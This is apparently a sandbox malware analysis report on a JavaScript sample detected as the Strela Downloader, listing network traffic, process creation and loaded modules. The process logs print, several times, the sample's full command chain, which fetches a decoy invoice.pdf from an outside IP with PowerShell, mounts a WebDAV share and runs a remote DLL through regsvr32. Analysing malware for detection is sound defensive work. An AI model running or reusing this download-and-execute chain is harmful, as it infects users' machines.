Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1720100197.000001BDC02A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1786174461.000001FB486A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1786073808.000001FB48668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/B
Source: net.exe, 00000006.00000002.1786073808.000001FB48668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/bP
Source: svchost.exe, 00000008.00000002.3000302226.000001DCE7600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1784205922.000001DCE7818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1784205922.000001DCE7818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1784205922.000001DCE7818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1784205922.000001DCE784D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6676, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 620128062590131002.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/54@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5468:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3624:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vwaccyn0.2ok.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1580,i,531056716790514186,3125811349222089333,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1580,i,531056716790514186,3125811349222089333,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
